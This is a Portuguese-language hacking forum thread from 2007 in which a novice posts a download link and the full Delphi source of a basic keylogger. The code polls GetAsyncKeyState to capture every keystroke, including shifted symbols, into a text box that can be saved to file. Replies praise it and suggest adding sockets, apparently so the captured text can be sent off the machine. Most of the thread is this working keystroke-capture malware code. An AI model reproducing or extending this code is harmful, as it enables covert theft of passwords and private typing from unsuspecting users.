KEYLOGGER 1.0 by lostph

Iniciado por lostph, 03 de Agosto , 2007, 05:07:18 PM

tópico anterior - próximo tópico

0 Membros e 1 Visitante estão vendo este tópico.

lostph

Bom pessoal, peço desculpas se alguem entro no topico pensando que teria um super KEYLLOGER , pois este é o basico do básico, pois nem server tem, somente para teste e pratica a experiencia.

estou postando ele para que vocês me ajudem se possivel, dando ideias do que eu poderia tah fazendo  para incrimenta-lo me ajudando nos codigos tambem e etc.

segue abaixo o link de download.

http://rapidshare.com/files/46791867/keylogger_1.0.rar

OBS: não se preocupem pois nem server tem, terá apenas 1 arquivo que é o aplicativo do Delphi.

Por favor criticas e sugestões são bem vindas.

Considere tambem que eu so muito novato ok ?
abraços.

Be.Cool

posta o source ai brother!
que nois ajuda ai vc!
sources são sempre bem vindos! ;)




fui.

A sabedoria está em suas mãos

lostph

eh na verdade eu to pegando informações e juntando elas para que eu possa aprende neh ...
naum eh bem um keylogger pq naum tem server sabe...

mais to ainda iniciando entao eu vo aprendendu ao poucos...

um passo de cada vez ...

source aee...

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls;

type
  TForm1 = class(TForm)
    Label1: TLabel;
    Image1: TImage;
    GroupBox1: TGroupBox;
    Timer1: TTimer;
    Memo1: TMemo;
    Button1: TButton;
    Button2: TButton;
    SaveDialog1: TSaveDialog;
    OpenDialog1: TOpenDialog;
    procedure Timer1Timer(Sender: TObject);
    procedure BmsXPButton2Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Timer1Timer(Sender: TObject);
var
      i : byte;
begin

  for i:=8 To 222 do
    begin
       if GetAsyncKeyState(i)=-32767 then
        begin
        case i of
        8  : memo1.Lines[memo1.Lines.count-1] := copy(memo1.Lines[memo1.Lines.count-1],1,length(memo1.Lines[memo1.Lines.count-1])-1); //Backspace
        9  : memo1.text:=memo1.text+'[Tab]';
        13 : memo1.text:=memo1.text+#13#10; //Enter
        17 : memo1.text:=memo1.text+'[Ctrl]';
        27 : memo1.text:=memo1.text+'[Esc]';
        32 :memo1.text:=memo1.text+' '; //Space
        // Del,Ins,Home,PageUp,PageDown,End
        33 : memo1.text := Memo1.text + '[Page Up]';
        34 : memo1.text := Memo1.text + '[Page Down]';
        35 : memo1.text := Memo1.text + '[End]';
        36 : memo1.text := Memo1.text + '[Home]';

        44 : memo1.text := Memo1.text + '[Print Screen]';
        45 : memo1.text := Memo1.text + '[Insert]';
        46 : memo1.text := Memo1.text + '[Del]';
        145 : memo1.text := Memo1.text + '[Scroll Lock]';

        //Number 1234567890 Symbol !@#$%^&*()
        48 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+')'
             else memo1.text:=memo1.text+'0';
        49 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'!'
             else memo1.text:=memo1.text+'1';
        50 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'@'
             else memo1.text:=memo1.text+'2';
        51 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'#'
             else memo1.text:=memo1.text+'3';
        52 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'$'
             else memo1.text:=memo1.text+'4';
        53 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'%'
             else memo1.text:=memo1.text+'5';
        54 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'^'
             else memo1.text:=memo1.text+'6';
        55 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'&'
             else memo1.text:=memo1.text+'7';
        56 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'*'
             else memo1.text:=memo1.text+'8';
        57 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'('
             else memo1.text:=memo1.text+'9';
        65..90 : // a..z , A..Z
            begin
            if ((GetKeyState(VK_CAPITAL))=1) then
                if GetKeyState(VK_SHIFT)<0 then
                   memo1.text:=memo1.text+LowerCase(Chr(i)) //a..z
                else
                   memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z
            else
                if GetKeyState(VK_SHIFT)<0 then
                    memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z
                else
                    memo1.text:=memo1.text+LowerCase(Chr(i)); //a..z
            end;
        //Numpad
        96..105 : memo1.text:=memo1.text + inttostr(i-96); //Numpad  0..9
        106:memo1.text:=memo1.text+'*';
        107:memo1.text:=memo1.text+'&';
        109:memo1.text:=memo1.text+'-';
        110:memo1.text:=memo1.text+'.';
        111:memo1.text:=memo1.text+'/';
        144 : memo1.text:=memo1.text+'[Num Lock]';

        112..123: //F1-F12
            memo1.text:=memo1.text+'[F'+IntToStr(i - 111)+']';

        186 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+':'
              else memo1.text:=memo1.text+';';
        187 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'+'
              else memo1.text:=memo1.text+'=';
        188 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'<'
              else memo1.text:=memo1.text+',';
        189 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'_'
              else memo1.text:=memo1.text+'-';
        190 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'>'
              else memo1.text:=memo1.text+'.';
        191 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'?'
              else memo1.text:=memo1.text+'/';
        192 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'~'
              else memo1.text:=memo1.text+'`';
        219 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'{'
              else memo1.text:=memo1.text+'[';
        220 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'|'
              else memo1.text:=memo1.text+'\';
        221 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'}'
              else memo1.text:=memo1.text+']';
        222 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'"'
              else memo1.text:=memo1.text+'''';
        end;
      end;
   end;
end;



procedure TForm1.BmsXPButton2Click(Sender: TObject);
begin
if opendialog1.execute then
Memo1.Lines.LoadFromFile(opendialog1.filename);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
if Savedialog1.execute then
memo1.lines.SaveToFile(Savedialog1.filename);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
if opendialog1.execute then
Memo1.Lines.LoadFromFile(opendialog1.filename);
end;

end.

Be.Cool

Quando eu tiver tempo dou uma olhada melhor nesse source!
apesar de não gostar muito de keyloggers.Tem muitos sources aqui no forum!
mais o que importa e que foi vc quem criou ele!
eu recomendaria vc aprender sockets!
são uma arma fatal  :D
o limite é a sua criatividade!
continue estudadando!




fui.

A sabedoria está em suas mãos

J.spY

Já é um bom começo amigo!

Vou te dar uma dica: procure renomear os componentes para que o código fique mais fácil de interpretar. :)

[]'s

"...É melhor ficar calado deixando que todos pensem que você é um idiota, do que abrir a boca e não deixar a menor dúvida®..."

lostph

ah sim ok, brigado pelas dicas, so corrigindo o que meu amigo Be.cool disse.

Não foi em quem fiz o codigo, foi um amigo meu, como estou aprendendo ainda, eu pego o codigo estudo ele intende ?

mais se haver outra versão o codigo sera meu :D ...

abraços ...

Gothic_Souls

se deixates o project seria bem mais facil para analise

:B
A sete palmos do chão
Renascemos
e nas sombras viveremos.

;D
Bruna minha paixão... Arrebatou o meu coração... Mas ele triste ficou... porq de mim ela nunca gostou.

Anonymous

Soh dei uma olhado depois para pra ver estou sem tempo estudanu pra ajuda o forum e me ajudar tbm
mis obrigado..ai
vou estudar fui flws
abraçao! :)